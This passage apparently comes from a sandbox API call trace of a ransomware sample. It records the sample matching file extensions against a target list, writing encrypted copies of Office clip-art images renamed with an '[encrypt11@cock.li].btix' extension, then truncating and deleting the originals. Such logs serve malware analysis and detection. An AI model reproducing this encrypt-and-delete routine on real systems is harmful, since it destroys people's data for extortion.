(lpString1=".zip", lpString2=".JPG") returned 1 [0137.815] lstrlenW (lpString=".rar") returned 4 [0137.815] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.815] lstrlenW (lpString=".bz2") returned 4 [0137.815] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.815] lstrlenW (lpString=".7z") returned 3 [0137.815] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.815] lstrlenW (lpString=".dbf") returned 4 [0137.815] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.815] lstrlenW (lpString=".1cd") returned 4 [0137.816] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.816] lstrlenW (lpString=".jpg") returned 4 [0137.816] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.816] lstrlenW (lpString=".doc") returned 4 [0137.816] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.816] lstrlenW (lpString=".docx") returned 5 [0137.816] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0137.816] lstrlenW (lpString=".pdf") returned 4 [0137.816] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.816] lstrlenW (lpString=".xls") returned 4 [0137.816] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.816] lstrlenW (lpString=".xlsx") returned 5 [0137.816] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0137.816] lstrlenW (lpString=".ppt") returned 4 [0137.816] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.816] lstrlenW (lpString=".zip") returned 4 [0137.816] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.816] lstrlenW (lpString=".rar") returned 4 [0137.816] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.816] lstrlenW (lpString=".bz2") returned 4 [0137.816] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.816] lstrlenW (lpString=".7z") returned 3 [0137.816] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.816] lstrlenW (lpString=".dbf") returned 4 [0137.816] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.817] lstrlenW (lpString=".1cd") returned 4 [0137.817] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.817] lstrlenW (lpString=".jpg") returned 4 [0137.817] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.817] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.817] lstrlenW (lpString="J0099191.JPG") returned 12 [0137.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.818] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=62367) returned 1 [0137.818] CloseHandle (hObject=0x540) returned 1 [0137.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0137.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.818] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.818] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0137.819] GetLastError () returned 0x0 [0137.819] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0137.822] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0137.823] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.823] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.823] SetEndOfFile (hFile=0x498) returned 1 [0137.823] CloseHandle (hObject=0x498) returned 1 [0137.823] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.823] SetEndOfFile (hFile=0x540) returned 1 [0137.827] CloseHandle (hObject=0x540) returned 1 [0137.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0137.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.828] lstrlenW (lpString=".doc") returned 4 [0137.828] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.828] lstrlenW (lpString=".docx") returned 5 [0137.828] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0137.828] lstrlenW (lpString=".pdf") returned 4 [0137.828] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.828] lstrlenW (lpString=".xls") returned 4 [0137.828] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.828] lstrlenW (lpString=".xlsx") returned 5 [0137.828] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0137.828] lstrlenW (lpString=".ppt") returned 4 [0137.828] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.828] lstrlenW (lpString=".zip") returned 4 [0137.828] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.828] lstrlenW (lpString=".rar") returned 4 [0137.828] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.828] lstrlenW (lpString=".bz2") returned 4 [0137.828] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.828] lstrlenW (lpString=".7z") returned 3 [0137.828] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".dbf") returned 4 [0137.829] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".1cd") returned 4 [0137.829] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".jpg") returned 4 [0137.829] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".doc") returned 4 [0137.829] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.829] lstrlenW (lpString=".docx") returned 5 [0137.829] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0137.829] lstrlenW (lpString=".pdf") returned 4 [0137.829] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.829] lstrlenW (lpString=".xls") returned 4 [0137.829] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.829] lstrlenW (lpString=".xlsx") returned 5 [0137.829] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0137.829] lstrlenW (lpString=".ppt") returned 4 [0137.829] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".zip") returned 4 [0137.829] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.829] lstrlenW (lpString=".rar") returned 4 [0137.829] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.829] lstrlenW (lpString=".bz2") returned 4 [0137.829] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.829] lstrlenW (lpString=".7z") returned 3 [0137.829] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.829] lstrlenW (lpString=".dbf") returned 4 [0137.829] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.830] lstrlenW (lpString=".1cd") returned 4 [0137.830] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0137.830] lstrlenW (lpString=".jpg") returned 4 [0137.830] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.830] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0137.830] lstrlenW (lpString="J0099192.GIF") returned 12 [0137.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.830] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17964) returned 1 [0137.830] CloseHandle (hObject=0x540) returned 1 [0137.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0137.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.831] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.831] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0137.831] GetLastError () returned 0x0 [0137.831] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x462c, lpOverlapped=0x0) returned 1 [0138.340] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4630, lpOverlapped=0x0) returned 1 [0138.341] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.341] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.341] SetEndOfFile (hFile=0x498) returned 1 [0138.341] CloseHandle (hObject=0x498) returned 1 [0138.341] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.342] SetEndOfFile (hFile=0x540) returned 1 [0138.344] CloseHandle (hObject=0x540) returned 1 [0138.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0138.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.369] lstrlenW (lpString=".doc") returned 4 [0138.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.370] lstrlenW (lpString=".docx") returned 5 [0138.370] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0138.370] lstrlenW (lpString=".pdf") returned 4 [0138.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString=".xls") returned 4 [0138.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString=".xlsx") returned 5 [0138.370] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0138.370] lstrlenW (lpString=".ppt") returned 4 [0138.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString=".zip") returned 4 [0138.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString=".rar") returned 4 [0138.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString=".bz2") returned 4 [0138.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.370] lstrlenW (lpString=".7z") returned 3 [0138.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString=".dbf") returned 4 [0138.370] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString=".1cd") returned 4 [0138.370] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString=".jpg") returned 4 [0138.370] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.370] lstrlenW (lpString=".doc") returned 4 [0138.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.370] lstrlenW (lpString=".docx") returned 5 [0138.370] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0138.371] lstrlenW (lpString=".pdf") returned 4 [0138.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.371] lstrlenW (lpString=".xls") returned 4 [0138.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.371] lstrlenW (lpString=".xlsx") returned 5 [0138.371] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0138.371] lstrlenW (lpString=".ppt") returned 4 [0138.371] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.376] lstrlenW (lpString=".zip") returned 4 [0138.376] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.376] lstrlenW (lpString=".rar") returned 4 [0138.376] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.376] lstrlenW (lpString=".bz2") returned 4 [0138.376] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.376] lstrlenW (lpString=".7z") returned 3 [0138.376] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.376] lstrlenW (lpString=".dbf") returned 4 [0138.376] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.376] lstrlenW (lpString=".1cd") returned 4 [0138.376] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0138.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0138.376] lstrlenW (lpString=".jpg") returned 4 [0138.376] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0138.376] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0138.376] lstrlenW (lpString="J0099194.GIF") returned 12 [0138.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.377] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=25265) returned 1 [0138.377] CloseHandle (hObject=0x540) returned 1 [0138.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0138.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0138.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0138.378] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.378] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0138.379] GetLastError () returned 0x0 [0138.379] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0138.381] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0138.387] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0138.387] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0138.387] SetEndOfFile (hFile=0x498) returned 1 [0138.582] CloseHandle (hObject=0x498) returned 1 [0138.582] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0138.582] SetEndOfFile (hFile=0x540) returned 1 [0138.585] CloseHandle (hObject=0x540) returned 1 [0138.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0138.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0138.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.586] lstrlenW (lpString=".doc") returned 4 [0138.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0138.586] lstrlenW (lpString=".docx") returned 5 [0138.586] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0138.586] lstrlenW (lpString=".pdf") returned 4 [0138.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0138.586] lstrlenW (lpString=".xls") returned 4 [0138.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0138.586] lstrlenW (lpString=".xlsx") returned 5 [0138.586] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0138.586] lstrlenW (lpString=".ppt") returned 4 [0138.586] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0138.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.586] lstrlenW (lpString=".zip") returned 4 [0138.586] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0138.586] lstrlenW (lpString=".rar") returned 4 [0138.586] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0138.586] lstrlenW (lpString=".bz2") returned 4 [0138.586] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0138.586] lstrlenW (lpString=".7z") returned 3 [0138.586] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0138.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0138.586] lstrlenW (lpString=".dbf") returned 4 [0138.586] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0138.587] lstrlenW (lpString="C:\\Program 